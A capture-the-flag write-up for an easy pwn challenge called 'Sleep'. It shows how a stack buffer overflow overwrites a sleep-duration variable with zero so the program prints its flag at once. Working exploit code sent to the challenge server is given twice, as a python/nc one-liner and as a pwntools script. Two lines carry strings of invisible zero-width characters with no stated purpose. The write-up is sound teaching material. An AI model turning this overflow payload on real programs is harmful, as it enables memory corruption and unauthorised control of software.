Sleep

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: integer_variable_overwrite, null_byte_overwrite, sleep_bypass

Summary

Task: get the flag from a binary that sleeps 1024 seconds before printing it. Solution: overflow the input buffer to overwrite the sleep_time integer variable with zero, bypassing the delay entirely.

Sleep — SPB CTF Pwn Season

Description

"Вы получите флаг через 1024 секунд, осталось чуть чуть подождать." (You'll get the flag in 1024 seconds, just wait.)

Server: nc 109.233.56.90 11576 Binary: task — ELF 64-bit x86-64, not stripped

Analysis

Buffer overflow to overwrite sleep duration variable. Stack layout:

• Buffer: rbp-0x110 (272 bytes)
• sleep_time variable: rbp-0x4 (4 bytes, initialized to 1024)
• Distance: 0x110 - 0x4 = 268 bytes
• read() limit: 1024 bytes

The program sleeps for sleep_time seconds before executing system("cat /flag"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

By overwriting sleep_time with 0, we bypass the wait entirely.

 bash read-only • copy allowed Copy
python3 -c "import sys; sys.stdout.buffer.write(b'A'*268 + b'\x00\x00\x00\x00\n')" | nc 109.233.56.90 11576

Breakdown:

• b'A'*268 — padding to reach sleep_time
• b'\x00\x00\x00\x00' — overwrites sleep duration with 0

 python read-only • copy allowed Copy
from pwn import *

io = remote('109.233.56.90', 11576)
payload = b'A' * 268 + p32(0)  # sleep_time = 0
io.sendline(payload)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍